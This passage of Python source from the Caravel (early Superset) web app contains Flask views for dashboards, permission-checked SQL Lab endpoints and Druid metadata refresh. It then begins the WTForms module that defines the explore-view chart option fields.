        @log_this
        def dashboard(**kwargs):  # noqa
            pass
        dashboard(dashboard_id=dash.id)
        dash_edit_perm = check_ownership(dash, raise_if_false=False)
        dash_save_perm = dash_edit_perm and self.can_access('can_save_dash', 'Caravel')
        return self.render_template(
            "caravel/dashboard.html", dashboard=dash,
            user_id=g.user.get_id(),
            templates=templates,
            dash_save_perm=dash_save_perm,
            dash_edit_perm=dash_edit_perm)

    @has_access
    @expose("/sql/<database_id>/")
    @log_this
    def sql(self, database_id):
        mydb = db.session.query(
            models.Database).filter_by(id=database_id).first()

        if not (self.can_access(
                'all_datasource_access', 'all_datasource_access') or
                self.can_access('database_access', mydb.perm)):
            flash(
                "This view requires the specific database or "
                "`all_datasource_access` permission", "danger"
            )
            return redirect("/tablemodelview/list/")
        engine = mydb.get_sqla_engine()
        tables = engine.table_names()

        table_name = request.args.get('table_name')
        return self.render_template(
            "caravel/sql.html",
            tables=tables,
            table_name=table_name,
            db=mydb)

    @has_access
    @expose("/table/<database_id>/<table_name>/")
    @log_this
    def table(self, database_id, table_name):
        mydb = db.session.query(
            models.Database).filter_by(id=database_id).first()
        cols = mydb.get_columns(table_name)
        df = pd.DataFrame([(c['name'], c['type']) for c in cols])
        df.columns = ['col', 'type']
        tbl_cls = (
            "dataframe table table-striped table-bordered "
            "table-condensed sql_results").split(' ')
        return self.render_template(
            "caravel/ajah.html",
            content=df.to_html(
                index=False,
                na_rep='',
                classes=tbl_cls))

    @has_access
    @expose("/select_star/<database_id>/<table_name>/")
    @log_this
    def select_star(self, database_id, table_name):
        mydb = db.session.query(
            models.Database).filter_by(id=database_id).first()
        t = mydb.get_table(table_name)

        # Prevent exposing column fields to users that cannot access DB.
        if not (self.can_access(
                'all_datasource_access', 'all_datasource_access') or
                self.can_access('database_access', mydb.perm) or
                self.can_access('datasource_access', t.perm)):
            flash(
                "This view requires the specific database, table or "
                "`all_datasource_access` permission", "danger"
            )
            return redirect("/tablemodelview/list/")

        fields = ", ".join(
            [c.name for c in t.columns] or "*")
        s = "SELECT\n{}\nFROM {}".format(fields, table_name)
        return self.render_template(
            "caravel/ajah.html",
            content=s
        )

    @has_access
    @expose("/runsql/", methods=['POST', 'GET'])
    @log_this
    def runsql(self):
        """Runs arbitrary sql and returns and html table"""
        # TODO deprecate in favor on `sql_json`
        session = db.session()
        limit = 1000
        data = json.loads(request.form.get('data'))
        sql = data.get('sql')
        database_id = data.get('database_id')
        mydb = session.query(models.Database).filter_by(id=database_id).first()

        if not (self.can_access(
                'all_datasource_access', 'all_datasource_access') or
                self.can_access('database_access', mydb.perm)):
            raise utils.CaravelSecurityException(_(
                "SQL Lab requires the `all_datasource_access` or "
                "specific db permission"))

        content = ""
        if mydb:
            eng = mydb.get_sqla_engine()
            if limit:
                sql = sql.strip().strip(';')
                qry = (
                    select('*')
                    .select_from(TextAsFrom(text(sql), ['*'])
                                 .alias('inner_qry'))
                    .limit(limit)
                )
                sql = '{}'.format(qry.compile(
                    eng, compile_kwargs={"literal_binds": True}))
            try:
                df = pd.read_sql_query(sql=sql, con=eng)
                content = df.to_html(
                    index=False,
                    na_rep='',
                    classes=(
                        "dataframe table table-striped table-bordered "
                        "table-condensed sql_results").split(' '))
            except Exception as e:
                content = (
                    '<div class="alert alert-danger">'
                    "{}</div>"
                ).format(e.message)
        session.commit()
        return content

    @expose("/theme/")
    def theme(self):
        return self.render_template('caravel/theme.html')

    @has_access
    @expose("/sql_json/", methods=['POST', 'GET'])
    @log_this
    def sql_json(self):
        """Runs arbitrary sql and returns and json"""
        session = db.session()
        limit = 1000
        sql = request.form.get('sql')
        database_id = request.form.get('database_id')
        mydb = session.query(models.Database).filter_by(id=database_id).first()

        if not (self.can_access(
                'all_datasource_access', 'all_datasource_access') or
                self.can_access('database_access', mydb.perm)):
            raise utils.CaravelSecurityException(_(
                "SQL Lab requires the `all_datasource_access` or "
                "specific DB permission"))

        error_msg = ""
        if not mydb:
            error_msg = "The database selected doesn't seem to exist"
        else:
            eng = mydb.get_sqla_engine()
            if limit:
                sql = sql.strip().strip(';')
                qry = (
                    select('*')
                    .select_from(TextAsFrom(text(sql), ['*'])
                                 .alias('inner_qry'))
                    .limit(limit)
                )
                sql = '{}'.format(qry.compile(
                    eng, compile_kwargs={"literal_binds": True}))
            try:
                df = pd.read_sql_query(sql=sql, con=eng)
                df = df.fillna(0)  # TODO make sure NULL
            except Exception as e:
                logging.exception(e)
                error_msg = utils.error_msg_from_exception(e)

        session.commit()
        if error_msg:
            return Response(
                json.dumps({
                    'error': error_msg,
                }),
                status=500,
                mimetype="application/json")
        else:
            data = {
                'columns': [c for c in df.columns],
                'data': df.to_dict(orient='records'),
            }
            return json.dumps(
                data, default=utils.json_int_dttm_ser, allow_nan=False)

    @has_access
    @expose("/refresh_datasources/")
    def refresh_datasources(self):
        """endpoint that refreshes druid datasources metadata"""
        session = db.session()
        for cluster in session.query(models.DruidCluster).all():
            cluster_name = cluster.cluster_name
            try:
                cluster.refresh_datasources()
            except Exception as e:
                flash(
                    "Error while processing cluster '{}'\n{}".format(
                        cluster_name, utils.error_msg_from_exception(e)),
                    "danger")
                logging.exception(e)
                return redirect('/druidclustermodelview/list/')
            cluster.metadata_last_refreshed = datetime.now()
            flash(
                "Refreshed metadata from cluster "
                "[" + cluster.cluster_name + "]",
                'info')
        session.commit()
        return redirect("/druiddatasourcemodelview/list/")

    @app.errorhandler(500)
    def show_traceback(self):
        error_msg = get_error_msg()
        return render_template(
            'caravel/traceback.html',
            error_msg=error_msg,
            title=ascii_art.stacktrace,
            art=ascii_art.error), 500

    @has_access
    @expose("/welcome")
    def welcome(self):
        """Personalized welcome page"""
        return self.render_template('caravel/welcome.html', utils=utils)


appbuilder.add_view_no_menu(Caravel)

if config['DRUID_IS_ACTIVE']:
    appbuilder.add_link(
        "Refresh Druid Metadata",
        href='/caravel/refresh_datasources/',
        category='Sources',
        category_label=__("Sources"),
        category_icon='fa-database',
        icon="fa-cog")


class CssTemplateModelView(CaravelModelView, DeleteMixin):
    datamodel = SQLAInterface(models.CssTemplate)
    list_columns = ['template_name']
    edit_columns = ['template_name', 'css']
    add_columns = edit_columns

appbuilder.add_separator("Sources")
appbuilder.add_view(
    CssTemplateModelView,
    "CSS Templates",
    label=__("CSS Templates"),
    icon="fa-css3",
    category="Sources",
    category_label=__("Sources"),
    category_icon='')


# ---------------------------------------------------------------------
# Redirecting URL from previous names
class RegexConverter(BaseConverter):
    def __init__(self, url_map, *items):
        super(RegexConverter, self).__init__(url_map)
        self.regex = items[0]
app.url_map.converters['regex'] = RegexConverter


@app.route('/<regex("panoramix\/.*"):url>')
def panoramix(url):  # noqa
    return redirect(request.full_path.replace('panoramix', 'caravel'))


@app.route('/<regex("dashed\/.*"):url>')
def dashed(url):  # noqa
    return redirect(request.full_path.replace('dashed', 'caravel'))
# ---------------------------------------------------------------------






"""Contains the logic to create cohesive forms on the explore view"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from collections import OrderedDict
from copy import copy
import json
import math

from flask_babel import lazy_gettext as _
from wtforms import (
    Form, SelectMultipleField, SelectField, TextField, TextAreaField,
    BooleanField, IntegerField, HiddenField, DecimalField)
from wtforms import validators, widgets

from caravel import app

config = app.config

TIMESTAMP_CHOICES = [
    ('smart_date', 'Adaptative formating'),
    ("%m/%d/%Y", '"%m/%d/%Y" | 01/14/2019'),
    ("%Y-%m-%d", '"%Y-%m-%d" | 2019-01-14'),
    ("%Y-%m-%d %H:%M:%S",
     '"%Y-%m-%d %H:%M:%S" | 2019-01-14 01:32:10'),
    ("%H:%M:%S", '"%H:%M:%S" | 01:32:10'),
]


class BetterBooleanField(BooleanField):

    """Fixes the html checkbox to distinguish absent from unchecked

    (which doesn't distinguish False from NULL/missing )
    If value is unchecked, this hidden <input> fills in False value
    """

    def __call__(self, **kwargs):
        html = super(BetterBooleanField, self).__call__(**kwargs)
        html += u'<input type="hidden" name="{}" value="false">'.format(self.name)
        return widgets.HTMLString(html)


class SelectMultipleSortableField(SelectMultipleField):

    """Works along with select2sortable to preserves the sort order"""

    def iter_choices(self):
        d = OrderedDict()
        for value, label in self.choices:
            selected = self.data is not None and self.coerce(value) in self.data
            d[value] = (value, label, selected)
        if self.data:
            for value in self.data:
                if value and value in d:
                    yield d.pop(value)
        while d:
            yield d.popitem(last=False)[1]


class FreeFormSelect(widgets.Select):

    """A WTF widget that allows for free form entry"""

    def __call__(self, field, **kwargs):
        kwargs.setdefault('id', field.id)
        if self.multiple:
            kwargs['multiple'] = True
        html = ['<select %s>' % widgets.html_params(name=field.name, **kwargs)]
        found = False
        for val, label, selected in field.iter_choices():
            html.append(self.render_option(val, label, selected))
            if field.data and val == field.data:
                found = True
        if not found:
            html.insert(1, self.render_option(field.data, field.data, True))
        html.append('</select>')
        return widgets.HTMLString(''.join(html))


class FreeFormSelectField(SelectField):

    """A WTF SelectField that allows for free form input"""

    widget = FreeFormSelect()

    def pre_validate(self, form):
        return


class OmgWtForm(Form):

    """Caravelification of the WTForm Form object"""

    fieldsets = {}
    css_classes = dict()

    def get_field(self, fieldname):
        return getattr(self, fieldname)

    def field_css_classes(self, fieldname):
        if fieldname in self.css_classes:
            return " ".join(self.css_classes[fieldname])
        return ""


class FormFactory(object):

    """Used to create the forms in the explore view dynamically"""

    series_limits = [0, 5, 10, 25, 50, 100, 500]
    fieltype_class = {
        SelectField: 'select2',
        SelectMultipleField: 'select2',
        FreeFormSelectField: 'select2_freeform',
        SelectMultipleSortableField: 'select2Sortable',
    }

    def __init__(self, viz):
        self.viz = viz
        from caravel.viz import viz_types
        viz = self.viz
        datasource = viz.datasource
        if not datasource.metrics_combo:
            raise Exception("Please define at least one metric for your table")
        default_metric = datasource.metrics_combo[0][0]

        gb_cols = datasource.groupby_column_names
        default_groupby = gb_cols[0] if gb_cols else None
        group_by_choices = self.choicify(gb_cols)
        order_by_choices = []
        for s in sorted(datasource.num_cols):
            order_by_choices.append((json.dumps([s, True]), s + ' [asc]'))
            order_by_choices.append((json.dumps([s, False]), s + ' [desc]'))
        # Pool of all the fields that can be used in Caravel
        field_data = {
            'viz_type': (SelectField, {
                "label": _("Viz"),
                "default": 'table',
                "choices": [(k, v.verbose_name) for k, v in viz_types.items()],
                "description": _("The type of visualization to display")
            }),
            'metrics': (SelectMultipleSortableField, {
                "label": _("Metrics"),
                "choices": datasource.metrics_combo,
                "default": [default_metric],
                "description": _("One or many metrics to display")
            }),
            'order_by_cols': (SelectMultipleSortableField, {
                "label": _("Ordering"),
                "choices": order_by_choices,
                "description": _("One or many metrics to display")
            }),
            'metric': (SelectField, {
                "label": _("Metric"),
                "choices": datasource.metrics_combo,
                "default": default_metric,
                "description": _("Choose the metric")
            }),
            'stacked_style': (SelectField, {
                "label": _("Chart Style"),
                "choices": (
                    ('stack', _('stack')),
                    ('stream', _('stream')),
                    ('expand', _('expand')),
                ),
                "default": 'stack',
                "description": ""
            }),
            'linear_color_scheme': (SelectField, {
                "label": _("Color Scheme"),
                "choices": (
                    ('fire', _('fire')),
                    ('blue_white_yellow', _('blue_white_yellow')),
                    ('white_black', _('white_black')),
                    ('black_white', _('black_white')),
                ),
                "default": 'blue_white_yellow',
                "description": ""
            }),
            'normalize_across': (SelectField, {
                "label": _("Normalize Across"),
                "choices": (
                    ('heatmap', _('heatmap')),
                    ('x', _('x')),
                    ('y', _('y')),
                ),
                "default": 'heatmap',
                "description": _(
                    "Color will be rendered based on a ratio "
                    "of the cell against the sum of across this "
                    "criteria")
            }),
            'horizon_color_scale': (SelectField, {
                "label": _("Color Scale"),
                "choices": (
                    ('series', _('series')),
                    ('overall', _('overall')),
                    ('change', _('change')),
                ),
                "default": 'series',
                "description": _("Defines how the color are attributed.")
            }),
            'canvas_image_rendering': (SelectField, {
                "label": _("Rendering"),
                "choices": (
                    ('pixelated', _('pixelated (Sharp)')),
                    ('auto', _('auto (Smooth)')),
                ),
                "default": 'pixelated',
                "description": _(
                    "image-rendering CSS attribute of the canvas object that "
                    "defines how the browser scales up the image")
            }),
            'xscale_interval': (SelectField, {
                "label": _("XScale Interval"),
                "choices": self.choicify(range(1, 50)),
                "default": '1',
                "description": _(
                    "Number of step to take between ticks when "
                    "printing the x scale")
            }),
            'yscale_interval': (SelectField, {
                "label": _("YScale Interval"),
                "choices": self.choicify(range(1, 50)),
                "default": '1',
                "description": _(
                    "Number of step to take between ticks when "
                    "printing the y scale")
            }),
            'bar_stacked': (BetterBooleanField, {
                "label": _("Stacked Bars"),
                "default": False,
                "description": ""
            }),
            'show_bar_value': (BetterBooleanField, {
                "label": _("Bar Values"),
                "default": False,
                "description": "Show the value on top of the bars or not"
            }),
            'show_controls': (BetterBooleanField, {
                "label": _("Extra Controls"),
                "default": False,
                "description": _(
                    "Whether to show extra controls or not. Extra controls "
                    "include things like making mulitBar charts stacked "
                    "or side by side.")
            }),
            'reduce_x_ticks': (BetterBooleanField, {
                "label": _("Reduce X ticks"),
                "default": False,
                "description": _(
                    "Reduces the number of X axis ticks to be rendered. "
                    "If true, the x axis wont overflow and labels may be "
                    "missing. If false, a minimum width will be applied "
                    "to columns and the width may overflow into an "
                    "horizontal scroll."),
            }),
            'include_series': (BetterBooleanField, {
                "label": _("Include Series"),
                "default": False,
                "description": _("Include series name as an axis")
            }),
            'secondary_metric': (SelectField, {
                "label": _("Color Metric"),
                "choices": datasource.metrics_combo,
                "default": default_metric,
                "description": _("A metric to use for color")
            }),
            'country_fieldtype': (SelectField, {
                "label": _("Country Field Type"),
                "default": 'cca2',
                "choices": (
                    ('name', _('Full name')),
                    ('cioc', _('code International Olympic Committee (cioc)')),
                    ('cca2', _('code ISO 3166-1 alpha-2 (cca2)')),
                    ('cca3', _('code ISO 3166-1 alpha-3 (cca3)')),
                ),
                "description": _(
                    "The country code standard that Caravel should expect "
                    "to find in the [country] column")
            }),
            'groupby': (SelectMultipleSortableField, {
                "label": _("Group by"),
                "choices": self.choicify(datasource.groupby_column_names),
                "description": _("One or many fields to group by")
            }),
            'columns': (SelectMultipleSortableField, {
                "label": _("Columns"),
                "choices": self.choicify(datasource.groupby_column_names),
                "description": _("One or many fields to pivot as columns")
            }),
            'all_columns': (SelectMultipleSortableField, {
                "label": _("Columns"),
                "choices": self.choicify(datasource.column_names),
                "description": _("Columns to display")
            }),
            'all_columns_x': (SelectField, {
                "label": _("X"),
                "choices": self.choicify(datasource.column_names),
                "default": datasource.column_names[0],
                "description": _("Columns to display")
            }),
            'all_columns_y': (SelectField, {
                "label": _("Y"),
                "choices": self.choicify(datasource.column_names),
                "default": datasource.column_names[0],
                "description": _("Columns to display")
            }),
            'druid_time_origin': (FreeFormSelectField, {
                "label": _("Origin"),
                "choices": (
                    ('', _('default')),
                    ('now', _('now')),
                ),
                "default": '',
                "description": _(
                    "Defines the origin where time buckets start, "
                    "accepts natural dates as in 'now', 'sunday' or '1970-01-01'")
            }),
            'bottom_margin': (FreeFormSelectField, {
                "label": _("Bottom Margin"),
                "choices": self.choicify([50, 75, 100, 125, 150, 200]),
                "default": 50,
                "description": _(
                    "Bottom marging, in pixels, allowing for more room for "
                    "axis labels"),
            }),
            'granularity': (FreeFormSelectField, {
                "label": _("Time Granularity"),
                "default": "one day",
                "choices": (
                    ('all', _('all')),
                    ('5 seconds', _('5 seconds')),
                    ('30 seconds', _('30 seconds')),
                    ('1 minute', _('1 minute')),
                    ('5 minutes', _('5 minutes')),
                    ('1 hour', _('1 hour')),
                    ('6 hour', _('6 hour')),
                    ('1 day', _('1 day')),
                    ('7 days', _('7 days')),
                ),
                "description": _(
                    "The time granularity for the visualization. Note that you "
                    "can type and use simple natural language as in '10 seconds', "
                    "'1 day' or '56 weeks'")
            }),
            'domain_granularity': (SelectField, {
                "label": _("Domain"),
                "default": "month",
                "choices": (
                    ('hour', _('hour')),
                    ('day', _('day')),
                    ('week', _('week')),
                    ('month', _('month')),
                    ('year', _('year')),
                ),
                "description": _(
                    "The time unit used for the grouping of blocks")
            }),
            'subdomain_granularity': (SelectField, {
                "label": _("Subdomain"),
                "default": "day",
                "choices": (
                    ('min', _('min')),
                    ('hour', _('hour')),
                    ('day', _('day')),
                    ('week', _('week')),
                    ('month', _('month')),
                ),
                "description": _(
                    "The time unit for each block. Should be a smaller unit than "
                    "domain_granularity. Should be larger or equal to Time Grain")
            }),
            'link_length': (FreeFormSelectField, {
                "label": _("Link Length"),
                "default": "200",
                "choices": self.choicify([
                    '10',
                    '25',
                    '50',
                    '75',
                    '100',
                    '150',
                    '200',
                    '250',
                ]),
                "description": _("Link length in the force layout")
            }),
            'charge': (FreeFormSelectField, {
                "label": _("Charge"),
                "default": "-500",
                "choices": self.choicify([
                    '-50',
                    '-75',
                    '-100',
                    '-150',
                    '-200',
                    '-250',
                    '-500',
                    '-1000',
                    '-2500',
                    '-5000',
                ]),
                "description": _("Charge in the force layout")
            }),
            'granularity_sqla': (SelectField, {
                "label": _("Time Column"),
                "default": datasource.main_dttm_col or datasource.any_dttm_col,
                "choices": self.choicify(datasource.dttm_cols),
                "description": _(
                    "The time column for the visualization. Note that you "
                    "can define arbitrary expression that return a DATETIME "
                    "column in the table editor. Also note that the "
                    "filter below is applied against this column or "
                    "expression")
            }),
            'resample_rule': (FreeFormSelectField, {
                "label": _("Resample Rule"),
                "default": '',
                "choices": (
                    ('1T', _('1T')),
                    ('1H', _('1H')),
                    ('1D', _('1D')),
                    ('7D', _('7D')),
                    ('1M', _('1M')),
                    ('1AS', _('1AS')),
                ),
                "description": _("Pandas resample rule")
            }),
            'resample_how': (FreeFormSelectField, {
                "label": _("Resample How"),
                "default": '',
                "choices": (
                     ('', ''),
                     ('mean', _('mean')),
                     ('sum', _('sum')),
                     ('median', _('median')),
                 ),
                "description": _("Pandas resample how")
            }),
            'resample_fillmethod': (FreeFormSelectField, {
                "label": _("Resample Fill Method"),
                "default": '',
                "choices": (
                    ('', ''),
                    ('ffill', _('ffill')),
                    ('bfill', _('bfill')),
                ),
                "description": _("Pandas resample fill method")
            }),
            'since': (FreeFormSelectField, {
                "label": _("Since"),
                "default": "7 days ago",
                "choices": (
                    ('1 hour ago', _('1 hour ago')),
                    ('12 hours ago', _('12 hours ago')),
                    ('1 day ago', _('1 day ago')),
                    ('7 days ago', _('7 days ago')),
                    ('28 days ago', _('28 days ago')),
                    ('90 days ago', _('90 days ago')),
                    ('1 year ago', _('1 year ago')),
                ),
                "description": _(
                    "Timestamp from filter. This supports free form typing and "
                    "natural language as in '1 day ago', '28 days' or '3 years'")
            }),
            'until': (FreeFormSelectField, {
                "label": _("Until"),
                "default": "now",
                "choices": (
                    ('now', _('now')),
                    ('1 day ago', _('1 day ago')),
                    ('7 days ago', _('7 days ago')),
                    ('28 days ago', _('28 days ago')),
                    ('90 days ago', _('90 days ago')),
                    ('1 year ago', _('1 year ago')),
                )
            }),
            'max_bubble_size': (FreeFormSelectField, {
                "label": _("Max Bubble Size"),
                "default": "25",
                "choices": self.choicify([
                    '5',
                    '10',
                    '15',
                    '25',
                    '50',
                    '75',
                    '100',
                ])
            }),
            'whisker_options': (FreeFormSelectField, {
                "label": _("Whisker/outlier options"),
                "default": "Tukey",
                "description": _(
                    "Determines how whiskers and outliers are calculated."),
                "choices": (
                    ('Tukey', _('Tukey')),
                    ('Min/max (no outliers)', _('Min/max (no outliers)')),
                    ('2/98 percentiles', _('2/98 percentiles')),
                    ('9/91 percentiles', _('9/91 percentiles')),
                )
            }),
            'treemap_ratio': (DecimalField, {
                "label": _("Ratio"),
                "default": 0.5 * (1 + math.sqrt(5)),  # d3 default, golden ratio
                "description": _('Target aspect ratio for treemap tiles.'),
            }),
            'number_format': (FreeFormSelectField, {
                "label": _("Number format"),
                "default": '.3s',
                "choices": [
                    ('.3s', '".3s" | 12.3k'),
                    ('.3%', '".3%" | 1234543.210%'),
                    ('.4r', '".4r" | 12350'),
                    ('.3f', '".3f" | 12345.432'),
                    ('+,', '"+," | +12,345.4321'),
                    ('$,.2f', '"$,.2f" | $12,345.43'),
                ],
                "description": _("D3 format syntax for numbers "
                            "https: //github.com/mbostock/\n"
                            "d3/wiki/Formatting")
            }),
            'row_limit': (FreeFormSelectField, {
                "label": _('Row limit'),
                "default": config.get("ROW_LIMIT"),
                "choices": self.choicify(
                    [10, 50, 100, 250, 500, 1000, 5000, 10000, 50000])
            }),
            'limit': (FreeFormSelectField, {
                "label": _('Series limit'),
                "choices": self.choicify(self.series_limits),
                "default": 50,
                "description": _(
                    "Limits the number of time series that get displayed")
            }),
            'rolling_type': (SelectField, {
                "label": _("Rolling"),
                "default": 'None',
                "choices": [(s, s) for s in ['None', 'mean', 'sum', 'std', 'cumsum']],
                "description": _(
                    "Defines a rolling window function to apply, works along "
                    "with the [Periods] text box")
            }),
            'rolling_periods': (IntegerField, {
                "label": _("Periods"),
                "validators": [validators.optional()],
                "description": _(
                    "Defines the size of the rolling window function, "
                    "relative to the time granularity selected")
            }),
            'series': (SelectField, {
                "label": _("Series"),
                "choices": group_by_choices,
                "default": default_groupby,
                "description": _(
                    "Defines the grouping of entities. "
                    "Each series is shown as a specific color on the chart and "
                    "has a legend toggle")
            }),
            'entity': (SelectField, {
                "label": _("Entity"),
                "choices": group_by_choices,
                "default": default_groupby,
                "description": _("This define the element to be plotted on the chart")
            }),
            'x': (SelectField, {
                "label": _("X Axis"),
                "choices": datasource.metrics_combo,
                "default": default_metric,
                "description": _("Metric assigned to the [X] axis")
            }),
            'y': (SelectField, {
                "label": _("Y Axis"),
                "choices": datasource.metrics_combo,
                "default": default_metric,
                "description": _("Metric assigned to the [Y] axis")
            }),
            'size': (SelectField, {
                "label": _('Bubble Size'),
                "default": default_metric,
                "choices": datasource.metrics_combo
            }),
            'url': (TextField, {
                "label": _("URL"),
                "description": _(
                    "The URL, this field is templated, so you can integrate "
                    "{{ width }} and/or {{ height }} in your URL string."
                ),
                "default": 'https: //www.youtube.com/embed/JkI5rg_VcQ4',
            }),
            'x_axis_label': (TextField, {
                "label": _("X Axis Label"),
                "default": '',
            }),
            'y_axis_label': (TextField, {
                "label": _("Y Axis Label"),
                "default": '',
            }),
            'where': (TextField, {
                "label": _("Custom WHERE clause"),
                "default": '',
                "description": _(
                    "The text in this box gets included in your query's WHERE "
                    "clause, as an AND to other criteria. You can include "
                    "complex expression, parenthesis and anything else "
                    "supported by the backend it is directed towards.")
            }),
            'having': (TextField, {
                "label": _("Custom HAVING clause"),
                "default": '',
                "description": _(
                    "The text in this box gets included in your query's HAVING"
                    " clause, as an AND to other criteria. You can include "
                    "complex expression, parenthesis and anything else "
                    "supported by the backend it is directed towards.")
            }),
            'compare_lag': (TextField, {
                "label": _("Comparison Period Lag"),
                "description": _(
                    "Based on granularity, number of time periods to "
                    "compare against")
            }),
            'compare_suffix': (TextField, {
                "label": _("Comparison suffix"),
                "description": _("Suffix to apply after the percentage display")
            }),
            'table_timestamp_format': (FreeFormSelectField, {
                "label": _("Table Timestamp Format"),
                "default": 'smart_date',
                "choices": TIMESTAMP_CHOICES,
                "description": _("Timestamp Format")
            }),
            'series_height': (FreeFormSelectField, {
                "label": _("Series Height"),
                "default": 25,
                "choices": self.choicify([10, 25, 40, 50, 75, 100, 150, 200]),
                "description": _("Pixel height of each series")
            }),
            'x_axis_format': (FreeFormSelectField, {
                "label": _("X axis format"),
                "default": 'smart_date',
                "choices": TIMESTAMP_CHOICES,
                "description": _("D3 format syntax for y axis "
                            "https: //github.com/mbostock/\n"
                            "d3/wiki/Formatting")
            }),
            'y_axis_format': (FreeFormSelectField, {
                "label": _("Y axis format"),
                "default": '.3s',
                "choices": [
                    ('.3s', '".3s" | 12.3k'),
                    ('.3%', '".3%" | 1234543.210%'),
                    ('.4r', '".4r" | 12350'),
                    ('.3f', '".3f" | 12345.432'),
                    ('+,', '"+," | +12,345.4321'),
                    ('$,.2f', '"$,.2f" | $12,345.43'),
                ],
                "description": _("D3 format syntax for y axis "
                            "https: //github.com/mbostock/\n"
                            "d3/wiki/Formatting")
            }),
            'markup_type': (SelectField, {
                "label": _("Markup Type"),
                "choices": (
                    ('markdown', _('markdown')),
                    ('html', _('html'))
                ),
                "default": "markdown",
                "description": _("Pick your favorite markup language")
            }),
            'rotation': (SelectField, {
                "label": _("Rotation"),
                "choices": (
                    ('random', _('random')),
                    ('flat', _('flat')),
                    ('square', _('square')),
                ),
                "default": "random",
                "description": _("Rotation to apply to words in the cloud")
            }),
            'line_interpolation': (SelectField, {
                "label": _("Line Style"),
                "choices": (
                    ('linear', _('linear')),
                    ('basis', _('basis')),
                    ('cardinal', _('cardinal')),
                    ('monotone', _('monotone')),
                    ('step-before', _('step-before')),
                    ('step-after', _('step-after')),
                ),
                "default": 'linear',
                "description": _("Line interpolation as defined by d3.js")
            }),
            'pie_label_type': (SelectField, {
                "label": _("Label Type"),
                "default": 'key',
                "choices": (
                    ('key', _("Category Name")),
                    ('value', _("Value")),
                    ('percent', _("Percentage")),
                ),
                "description": _("What should be shown on the label?")
            }),
            'code': (TextAreaField, {
                "label": _("Code"),
                "description": _("Put your code here"),
                "default": ''
            }),
            'pandas_aggfunc': (SelectField, {
                "label": _("Aggregation function"),
                "choices": (
                    ('sum', _('sum')),
                    ('mean', _('mean')),
                    ('min', _('min')),
                    ('max', _('max')),
                    ('median', _('median')),
                    ('stdev', _('stdev')),
                    ('var', _('var')),
                ),
                "default": 'sum',
                "description": _(
                    "Aggregate function to apply when pivoting and "
                    "computing the total rows and columns")
            }),
            'size_from': (TextField, {
                "label": _("Font Size From"),
                "default": "20",
                "description": _("Font size for the smallest value in the list")
            }),
            'size_to': (TextField, {
                "label": _("Font Size To"),
                "default": "150",
                "description": _("Font size for the biggest value in the list")
            }),
            'show_brush': (BetterBooleanField, {
                "label": _("Range Filter"),
                "default": False,
                "description": _(
                    "Whether to display the time range interactive selector")
            }),
            'show_datatable': (BetterBooleanField, {
                "label": _("Data Table"),
                "default": False,
                "description": _("Whether to display the interactive data table")
            }),
            'include_search': (BetterBooleanField, {
                "label": _("Search Box"),
                "default": False,
                "description": _(
                    "Whether to include a client side search box")
            }),
            'show_bubbles': (BetterBooleanField, {
                "label": _("Show Bubbles"),
                "default": False,
                "description": _(
                    "Whether to display bubbles on top of countries")
            }),
            'show_legend': (BetterBooleanField, {
                "label": _("Legend"),
                "default": True,
                "description": _("Whether to display the legend (toggles)")
            }),
            'x_axis_showminmax': (BetterBooleanField, {
                "label": _("X bounds"),
                "default": True,
                "description": _(
                    "Whether to display the min and max values of the X axis")
            }),
            'rich_tooltip': (BetterBooleanField, {
                "label": _("Rich Tooltip"),
                "default": True,
                "description": _(
                    "The rich tooltip shows a list of all series for that"
                    " point in time")
            }),
            'y_axis_zero': (BetterBooleanField, {
                "label": _("Y Axis Zero"),
                "default": False,
                "description": _(
                    "Force the Y axis to start at 0 instead of the minimum "
                    "value")
            }),
            'y_log_scale': (BetterBooleanField, {
                "label": _("Y Log"),
                "default": False,
                "description": _("Use a log scale for the Y axis")
            }),
            'x_log_scale': (BetterBooleanField, {
                "label": _("X Log"),
                "default": False,
                "description": _("Use a log scale for the X axis")
            }),
            'donut': (BetterBooleanField, {
                "label": _("Donut"),
                "default": False,
                "description": _("Do you want a donut or a pie?")
            }),
            'labels_outside': (BetterBooleanField, {
                "label": _("Put labels outside"),
                "default": True,
                "description": _("Put the labels outside the pie?")
            }),
            'contribution': (BetterBooleanField, {
                "label": _("Contribution"),
                "default": False,
                "description": _("Compute the contribution to the total")
            }),
            'num_period_compare': (IntegerField, {
                "label": _("Period Ratio"),
                "default": None,
                "validators": [validators.optional()],
                "description": _(
                    "[integer] Number of period to compare against, "
                    "this is relative to the granularity selected")
            }),
            'period_ratio_type': (SelectField, {
                "label": _("Period Ratio Type"),
                "default": 'growth',
                "choices": (
                    ('factor', _('factor')),
                    ('growth', _('growth')),
                    ('value', _('value')),
                ),
                "description": _(
                    "`factor` means (new/previous), `growth` is "
                    "((new/previous) - 1), `value` is (new-previous)")
            }),
            'time_compare': (TextField, {
                "label": _("Time Shift"),
                "default": "",
                "description": _(
                    "Overlay a timeseries from a "
                    "relative time period. Expects relative time delta "
                    "in natural language (example:  24 hours, 7 days, "
                    "56 weeks, 365 days")
            }),
            'subheader': (TextField, {
                "label": _("Subheader"),
                "description": _(
                    "Description text that shows up below your Big "
                    "Number")
            }),
            'mapbox_label': (SelectMultipleSortableField, {
                "label": "Label",
                "choices": self.choicify(["count"] + datasource.column_names),
                "description": _(
                    "'count' is COUNT(*) if a group by is used. "
                    "Numerical columns will be aggregated with the aggregator. "
                    "Non-numerical columns will be used to label points. "
                    "Leave empty to get a count of points in each cluster."),
            }),
            'mapbox_style': (SelectField, {
                "label": "Map Style",
                "choices": [
                    ("mapbox://styles/mapbox/streets-v9", "Streets"),
                    ("mapbox://styles/mapbox/dark-v9", "Dark"),
                    ("mapbox://styles/mapbox/light-v9", "Light"),
                    ("mapbox://styles/mapbox/satellite-streets-v9", "Satellite Streets"),
                    ("mapbox://styles/mapbox/satellite-v9", "Satellite"),
                    ("mapbox://styles/mapbox/outdoors-v9", "Outdoors"),
                ],
                "default": "mapbox://styles/mapbox/streets-v9",
                "description": _("Base layer map style")
            }),
            'clustering_radius': (FreeFormSelectField, {
                "label": _("Clustering Radius"),
                "default": "60",
                "choices": self.choicify([
                    '0',
                    '20',
                    '40',
                    '60',
                    '80',
                    '100',
                    '200',
                    '500',
                    '1000',
                ]),
                "description": _(
                    "The radius (in pixels) the algorithm uses to define a cluster. "
                    "Choose 0 to turn off clustering, but beware that a large "
                    "number of points (>1000) will cause lag.")
            }),
            'point_radius': (SelectField, {
                "label": _("Point Radius"),
                "default": "Auto",
                "choices": self.choicify(["Auto"] + datasource.column_names),
                "description": _(
